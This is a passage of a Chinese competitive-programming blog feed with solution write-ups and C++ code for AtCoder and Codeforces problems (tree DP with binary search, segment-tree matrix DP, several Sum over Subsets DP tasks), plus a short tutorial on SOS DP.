&lt;p&gt;哈哈，博弈论一道不会。&lt;/p&gt;
&lt;p&gt;首先考虑二分，考虑如何 &lt;code&gt;check&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;考虑令 $\geq mid$ 的点为黑点，否则为白点。&lt;/p&gt;
&lt;p&gt;考虑构造 $f_i$ 表示以 $i$ 为根的子树还需要几次操作才能使子树内没有黑点。&lt;/p&gt;
&lt;p&gt;显然有 $f_i = \sum_{j \in son_i} f_j - 1$。&lt;/p&gt;
&lt;p&gt;则当且仅当 $f_1=0$ 的时候当前状态合法。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * g.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int N = 2e5 + 1e4;

struct Edge { int to, next; } e[ N &amp;lt;&amp;lt; 1 ];
int ehead[N], ecnt;
void add_edge( int cur, int to ) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].next = ehead[cur];
    ehead[cur] = ecnt;
}

int a[N];
int f[N];

int b( const int pos, const int lim ) { return a[pos] &amp;gt;= lim; }

void dfs( const int cur, const int la, const int lim ) {
    for( int i = ehead[cur]; i; i = e[i].next ) {
        if( e[i].to == la )
            continue;
        dfs( e[i].to, cur, lim );
        f[cur] += f[ e[i].to ];
    }
    f[cur] -= 1;
    chk_Max( f[cur], 0 );
    f[cur] += b( cur, lim );
}

bool check( const int val ) {
    memset( f, 0, sizeof(f) );
    dfs( 1, 0, val );
    return f[1] == 0;
}

int main() {
#ifdef woshiluo
    freopen( &quot;g.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;g.out&quot;, &quot;w&quot;, stdout );
#endif
    const int n = read&amp;lt;int&amp;gt;();
    for( int i = 2; i &amp;lt;= n; i ++ ) {
        a[i] = read&amp;lt;int&amp;gt;();
    }
    for( int i = 1; i &amp;lt; n; i ++ ) {
        int u, v;
        u = read&amp;lt;int&amp;gt;(); v = read&amp;lt;int&amp;gt;();
        add_edge( u, v );
        add_edge( v, u );
    }

    int left = 0, rig = (int)(1e9);
    int res = rig;
    while( left &amp;lt;= rig ) {
        const int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        if( check(mid) )
            rig = mid - 1;
        else {
            left = mid + 1;
            res = mid;
        }
    }

    printf( &quot;%d\n&quot;, res );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;H/Ex 01? Queries&lt;/h2&gt;
&lt;h3&gt;题目大意&lt;/h3&gt;
&lt;p&gt;给定字符串 $s$，由 &lt;code&gt;0,1,?&lt;/code&gt; 构成，&lt;code&gt;?&lt;/code&gt; 可以任意替换成 &lt;code&gt;0&lt;/code&gt;/&lt;code&gt;1&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;每次修改操作将 $a_{pos}$ 改为 $x$，然后询问现在有多少个不同的字符串，是 $S$ 的子序列。&lt;/p&gt;
&lt;p&gt;$1 \leq n,q \leq 10^5$&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;霓虹人搞个 Ex 题到底是什么病。&lt;/p&gt;
&lt;p&gt;令 $f_{i,0/1}$ 表示当前到 $i$，结尾为 &lt;code&gt;0/1&lt;/code&gt; 的子序列个数。&lt;/p&gt;
&lt;p&gt;转移显然。&lt;/p&gt;
&lt;p&gt;显然可以矩阵。&lt;/p&gt;
&lt;p&gt;线段树维护修改。&lt;/p&gt;
&lt;p&gt;没了。&lt;/p&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * h.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int N = 1e5 + 1e4;
const int mod = 998244353;

struct ModInt {/*{{{*/
    int cur;
    ModInt( ll _cur = 0 ) { cur = ( ( ( _cur % mod ) + mod ) % mod ); }

    inline ModInt operator+ ( const ModInt &amp;amp;b ) const { return ( cur + b.cur ) % mod; }
    inline ModInt operator- ( const ModInt &amp;amp;b ) const { return ( ( ( cur - b.cur ) % mod ) + mod ) % mod; }
    inline ModInt operator* ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * b.cur ) % mod; }
    inline ModInt operator/ ( const ModInt &amp;amp;b ) const { return ( 1LL * cur * pow( b, mod - 2 ).cur ) % mod; }

    inline void operator+= ( const ModInt &amp;amp;b ) { (*this) = (*this) + b; }
    inline void operator-= ( const ModInt &amp;amp;b ) { (*this) = (*this) - b; }
    inline void operator*= ( const ModInt &amp;amp;b ) { (*this) = (*this) * b; }
    inline void operator/= ( const ModInt &amp;amp;b ) { (*this) = (*this) / b; }

    inline void output( const char end = &apos;\n&apos; ) { printf( &quot;%d%c&quot;, cur, end ); }
};/*}}}*/

struct Matrix {/*{{{*/
    const static int K = 3;
    ModInt a[K][K];
    Matrix( const int val = 1 ) {
        memset( a, 0, sizeof(a) );
        if( val != 0 )
            for( int i = 0; i &amp;lt; K; i ++ )
                a[i][i] = val;
    }

    Matrix operator* ( const Matrix &amp;amp;_b ) const {
        Matrix res(0);
        for( int i = 0; i &amp;lt; K; i ++ ) {
            for( int j = 0; j &amp;lt; K; j ++ ) {
                for( int k = 0; k &amp;lt; K; k ++ ) {
                    res.a[i][j] += a[i][k] * _b.a[k][j];
                }
            }
        }
        return res;
    }
    void operator*= ( const Matrix &amp;amp;_b ) { (*this) = (*this) * _b; }

    ModInt* operator[] ( const int pos ) { return a[pos]; }
};/*}}}*/

struct SegmentTree {
    int n;
    Matrix tree[ N &amp;lt;&amp;lt; 2 ];

    inline void push_up( const int cur ) { tree[cur] = tree[ cur &amp;lt;&amp;lt; 1 ] * tree[ cur &amp;lt;&amp;lt; 1 | 1 ]; }

    void build( int cur, int left, int rig ) {
        tree[cur] = 1;
        if( left == rig ) {
            return ;
        }

        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        build( cur &amp;lt;&amp;lt; 1, left, mid );
        build( cur &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );

        push_up(cur);
    }
    void init( const int _n ) { n = _n; build( 1, 1, n ); }

    void set( int pos, Matrix val, int cur, int left, int rig ) {
        if( left == rig &amp;amp;&amp;amp; pos == left ) {
            tree[cur] = val;
            return ;
        }

        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;

        if( pos &amp;lt;= mid )
            set( pos, val, cur &amp;lt;&amp;lt; 1, left, mid );
        else
            set( pos, val, cur &amp;lt;&amp;lt; 1 | 1, mid + 1, rig );

        push_up(cur);
    }
    void set( int pos, Matrix val ) { set( pos, val, 1, 1, n ); }

    Matrix query( int from, int to, int cur, int left, int rig ) {
        if( from &amp;lt;= left &amp;amp;&amp;amp; rig &amp;lt;= to )
            return tree[cur];

        int mid = ( left + rig ) &amp;gt;&amp;gt; 1;
        Matrix res;

        if( from &amp;lt;= mid )
            res *= query( from, to, cur, left, mid );
        if( to &amp;gt; mid )
            res *= query( from, to, cur, mid + 1, rig );

        return res;
    }
    Matrix query( int from, int to ) { return query( from, to, 1, 1, n ); }
} sgt;

int main() {
#ifdef woshiluo
    freopen( &quot;h.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;h.out&quot;, &quot;w&quot;, stdout );
#endif
    // 2 ?
    Matrix p0, p1, p2, base(0);
    p0[0][0] = 1; p0[1][0] = 1; p0[2][0] = 1;
    p0[0][1] = 0; p0[1][1] = 1; p0[2][1] = 0;
    p0[0][2] = 0; p0[1][2] = 0; p0[2][2] = 1;

    p1[0][0] = 1; p1[1][0] = 0; p1[2][0] = 0;
    p1[0][1] = 1; p1[1][1] = 1; p1[2][1] = 1;
    p1[0][2] = 0; p1[1][2] = 0; p1[2][2] = 1;

    p2[0][0] = 1; p2[1][0] = 1; p2[2][0] = 1;
    p2[0][1] = 1; p2[1][1] = 1; p2[2][1] = 1;
    p2[0][2] = 0; p2[1][2] = 0; p2[2][2] = 1;

    base[0][2] = 1;

    const int n = read&amp;lt;int&amp;gt;();
    const int q = read&amp;lt;int&amp;gt;();
    sgt.init(n);

    static char str[N];
    scanf( &quot;%s&quot;, str + 1 );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        if( str[i] == &apos;0&apos; )
            sgt.set( i, p0 );
        else if( str[i] == &apos;1&apos; )
            sgt.set( i, p1 );
        else
            sgt.set( i, p2 );
    }

    for( int i = 1; i &amp;lt;= q; i ++ ) {
        int pos; static char op[3];
        scanf( &quot;%d%s&quot;, &amp;amp;pos, op );
        if( op[0] == &apos;0&apos; )
            sgt.set( pos, p0 );
        else if( op[0] == &apos;1&apos; )
            sgt.set( pos, p1 );
        else
            sgt.set( pos, p2 );

        Matrix res = base * sgt.query( 1, n );
        ( res[0][0] + res[0][1] ).output();
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces 383E Vowels</title><link>https://blog.woshiluo.com/posts/2022/04/codeforces-383e/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/codeforces-383e/</guid><pubDate>Mon, 04 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接：&lt;a href=&quot;https://codeforces.com/contest/383/problem/E&quot;&gt;https://codeforces.com/contest/383/problem/E&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1 题目大意&lt;/h2&gt;
&lt;p&gt;给定 $n$ 个长度为 $3$，字符集为 &lt;code&gt;a-x&lt;/code&gt; 的字符串。&lt;/p&gt;
&lt;p&gt;对于 $s, s \subseteq [ \texttt{a}, \texttt{x} ]$，有 $f(s)$ 表示有多少个给定字符串和 $s$ 交集非空。&lt;/p&gt;
&lt;p&gt;输出 $\sum^{\oplus}_s f(s) * f(s)$&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;注意到基本上是 &lt;a href=&quot;https://blog.woshiluo.com/2073.html&quot;&gt;SOS DP&lt;/a&gt; 的模版，除一个问题 -- 对于一个字符串可能会被统计多次。&lt;/p&gt;
&lt;p&gt;简单容斥即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/*
 * e.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

int full_pow( const int cur ) { return 1 &amp;lt;&amp;lt; cur; }
bool chk_pos( const int cur, const int p ) { return cur &amp;amp; full_pow(p); }

const int K = 24;
const int N = ( 1 &amp;lt;&amp;lt; K ) + 10;

int f[N];

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    const int n = read&amp;lt;int&amp;gt;();
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        static char str[10];
        scanf( &quot;%s&quot;, str + 1 );
        std::vector&amp;lt;int&amp;gt; a;
        for( int j = 1; j &amp;lt;= 3; j ++ )
            a.push_back( str[j] - &apos;a&apos; );

        std::sort( a.begin(), a.end() );
        a.erase( std::unique( a.begin(), a.end() ), a.end() );
        const int size = a.size();
        for( int st = 1; st &amp;lt; full_pow(size); st ++ ) {
            int mask = 0, cnt = 0;
            for( int j = 0; j &amp;lt; size; j ++ ) {
                if( chk_pos( st, j ) ) {
                    cnt ++;
                    mask |= full_pow( a[j] );
                }
            }
            f[mask] += ( ( cnt &amp;amp; 1 ) ? 1: -1 );
        }
    }
    for( int j = 0; j &amp;lt; K; j ++ )
        for( int st = 0; st &amp;lt; full_pow(K); st ++ )
            if( chk_pos( st, j ) )
                f[st] += f[ st ^ full_pow(j) ];

    int ans = 0;
    for( int st = 0; st &amp;lt; full_pow(K); st ++ )
        ans ^= ( f[st] * f[st] );
    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Sum over Subsets DP 入门</title><link>https://blog.woshiluo.com/posts/2022/04/sum-over-subsets-dp-%E5%85%A5%E9%97%A8/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/sum-over-subsets-dp-%E5%85%A5%E9%97%A8/</guid><pubDate>Mon, 04 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 引&lt;/h2&gt;
&lt;p&gt;为什么没在标题里写 SOS DP ？因为这 SOS 这个名字我第一次看的时候怎么看怎么觉得不正经，所以写全称让他看着正经一些。&lt;/p&gt;
&lt;p&gt;个人感觉这个东西更像是一个套路而不是 DP 类型。&lt;/p&gt;
&lt;h2&gt;1 什么是 SOS DP&lt;/h2&gt;
&lt;p&gt;Sum over Subsets DP，即求子集和的 DP。更具体的说，用于在 $O(k \cdot 2^k)$ 的时间求出以下式子：&lt;/p&gt;
&lt;p&gt;$$
f_{mask} = \sum_{i \subseteq mask} a_i
$$&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 做法&lt;/h2&gt;
&lt;p&gt;一种非常朴素的方式是直接对于每个子集枚举其子集，复杂度是 $O(4^n)$。这个复杂度显然是无法接受的。&lt;/p&gt;
&lt;p&gt;定义 $S(k,i) = { x | x \subseteq k \land k \oplus x &amp;lt; 2^{i+1} }$。&lt;/p&gt;
&lt;p&gt;则显然有&lt;/p&gt;
&lt;p&gt;$$
S(k,i) =
\begin{cases}
S(k,i-1) &amp;amp; k &amp;amp; 2^i = 0 \
S(k,i-1) \cup S( k \oplus 2^i, i - 1 ) &amp;amp; otherwise
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;注意到现在已经可以递推 S 来得到我们想要的结果了。&lt;/p&gt;
&lt;p&gt;但是更广为人知的是这个滚动数组的写法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for( int st = 0; st &amp;lt; ( 1 &amp;lt;&amp;lt; K ); st ++ )
    f[i] = a[i];
for( int j = 0; j &amp;lt; K; j ++ ) {
    for( int st = 0; st &amp;lt; ( 1 &amp;lt;&amp;lt; K ); st ++ ) {
        if( st &amp;amp; ( 1 &amp;lt;&amp;lt; j ) )
            f[i] += f[ i ^ ( 1 &amp;lt;&amp;lt; j ) ];
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 例题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.woshiluo.com/2079.html&quot;&gt;Codeforces 165E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.woshiluo.com/2083.html&quot;&gt;Codeforces 383E&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.woshiluo.com/2089.html&quot;&gt;Codeforces 1208F&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces 165E Compatible Numbers</title><link>https://blog.woshiluo.com/posts/2022/04/codeforces-165e/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/codeforces-165e/</guid><pubDate>Mon, 04 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接：&lt;a href=&quot;https://codeforces.com/contest/165/problem/E&quot;&gt;https://codeforces.com/contest/165/problem/E&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1 题目大意&lt;/h2&gt;
&lt;p&gt;给定一个长度为 $n$ 的序列 $a$。&lt;/p&gt;
&lt;p&gt;对于每一个 $a_i$，询问是否存在 $a_j$ 使得 $a_i &amp;amp; a_j = 0$，如果有输出 $a_j$（如果有多个，输出任意一个），否则输出 $-1$。&lt;/p&gt;
&lt;p&gt;$1 \leq n \leq 10^6, 1 \leq a_i \leq 4\cdot 10^6$。&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;注意到 $a_i &amp;amp; a_j = 0$，其实就是询问是否有数字满足其是 $a_i$ 的补集的子集。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.woshiluo.com/2073.html&quot;&gt;SOS DP&lt;/a&gt; 求出每个集合是否有数字是其子集即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/*
 * e.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int K = 22;

int a[ 1 &amp;lt;&amp;lt; K ];
int f[ 1 &amp;lt;&amp;lt; K ];

int main() {
    int n = read&amp;lt;int&amp;gt;();
    memset( f, -1, sizeof(f) );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        a[i] = read&amp;lt;int&amp;gt;();
        f[ a[i] ] = a[i];
    }
    for( int j = 0; j &amp;lt; K; j ++ )
        for( int i = 0; i &amp;lt; ( 1 &amp;lt;&amp;lt; K ); i ++ )
            if( i &amp;amp; ( 1 &amp;lt;&amp;lt; j ) )
                chk_Max( f[i], f[ i ^ ( 1 &amp;lt;&amp;lt; j ) ] );
    const int mask = ( 1 &amp;lt;&amp;lt; K ) - 1;
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        printf( &quot;%d &quot;, f[ a[i] ^ mask ]  );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces 1208F Bits And Pieces</title><link>https://blog.woshiluo.com/posts/2022/04/codeforces-1208f/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/04/codeforces-1208f/</guid><pubDate>Mon, 04 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接：&lt;a href=&quot;https://codeforces.com/contest/1208/problem/F&quot;&gt;https://codeforces.com/contest/1208/problem/F&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1 题目大意&lt;/h2&gt;
&lt;p&gt;给定一个长度为 $n$ 的序列 $a$&lt;/p&gt;
&lt;p&gt;求最大 $a_i|(a_j&amp;amp;a_k)$ 满足 $i &amp;lt; j &amp;lt; k$&lt;/p&gt;
&lt;p&gt;$3 \leq n \leq 10^6, 0 \leq a_i \leq 2 \cdot 10^6$&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;先考虑 $a_j&amp;amp;a_k$，显然可以通过 &lt;a href=&quot;https://blog.woshiluo.com/2073.html&quot;&gt;SOS DP&lt;/a&gt; 来求出对于任意 $s$，其最靠后 $j$ 的能够有 $k$ 使得 $s \subseteq a_j&amp;amp;a_k$ 的位置。&lt;/p&gt;
&lt;p&gt;然后考虑贪心来最大化按位或，从高位往低位处理，如果能够有一位新为 $1$，则有限选择位数高的。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/*
 * f.cpp
 * Copyright (C) 2022 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

typedef long long ll;
typedef unsigned long long ull;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, int p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

const int K = 22;
const int N = ( 1 &amp;lt;&amp;lt; K ) + 10;

int a[N];
int f[N][2];

int full_pow( const int cur ) { return 1 &amp;lt;&amp;lt; cur; }
bool chk_pos( const int cur, const int p ) { return cur &amp;amp; full_pow(p); }

void set( const int pos, const int val ) {
    if( val &amp;gt; f[pos][0] ) {
        f[pos][1] = f[pos][0];
        f[pos][0] = val;
    }
    else if( val != f[pos][0] &amp;amp;&amp;amp; val &amp;gt; f[pos][1] ) {
        f[pos][1] = val;
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;f.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;f.out&quot;, &quot;w&quot;, stdout );
#endif
    int n = read&amp;lt;int&amp;gt;();
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        a[i] = read&amp;lt;int&amp;gt;();
        set( a[i], i );
    }

    for( int st = full_pow(K) - 1; st &amp;gt;= 0; st -- ) {
        for( int i = 0; i &amp;lt; K; i ++ ) {
            if( chk_pos( st, i ) ) {
                set( st ^ full_pow(i), f[st][1] );
                set( st ^ full_pow(i), f[st][0] );
            }
        }
    }

    int ans = 0;
    for( int i = 1; i &amp;lt;= n - 2; i ++ ) {
        const int cur = a[i];
        int mask = 0;
        for( int j = K - 1; j &amp;gt;= 0; j -- ) {
            if( chk_pos( cur, j ) )
                continue;
            if( f[ mask ^ full_pow(j) ][1] &amp;gt; i )
                mask |= full_pow(j);
        }
        chk_Max( ans, cur | mask );
    }
    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Codeforces 1549E / 1548C</title><link>https://blog.woshiluo.com/posts/2021/11/codeforces-1549e-1548c/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2021/11/codeforces-1549e-1548c/</guid><pubDate>Mon, 15 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;原题链接：&lt;a href=&quot;https://codeforces.com/contest/1549/problem/E&quot;&gt;https://codeforces.com/contest/1549/problem/E&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;题目大意&lt;/h2&gt;
&lt;p&gt;给定 $n$，$q$ 次询问。&lt;/p&gt;
&lt;p&gt;每次询问给定一个 $x$，求 $\sum_{i=0}^n \binom{3i}{x}$&lt;/p&gt;
&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;考虑定义 $f_{i,j}$ 表示 $\sum_{k=0}^{n-1} \binom{3k + j}{i}$，令 $0 \leq j &amp;lt; m$&lt;/p&gt;
&lt;p&gt;注意到&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\sum_{j=0}^{m-1} f_{i,j} = \sum_{j=0}^{3n - 1} \binom{j}{i} = \binom{3n}{i + 1}$&lt;/li&gt;
&lt;li&gt;$f_{i,j} = f_{ i - 1, j - 1 } + f_{i, j - 1 }$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;发现可以解出 $f_{i,0}$&lt;/p&gt;
&lt;p&gt;$O(n)$ 递推即可。&lt;/p&gt;
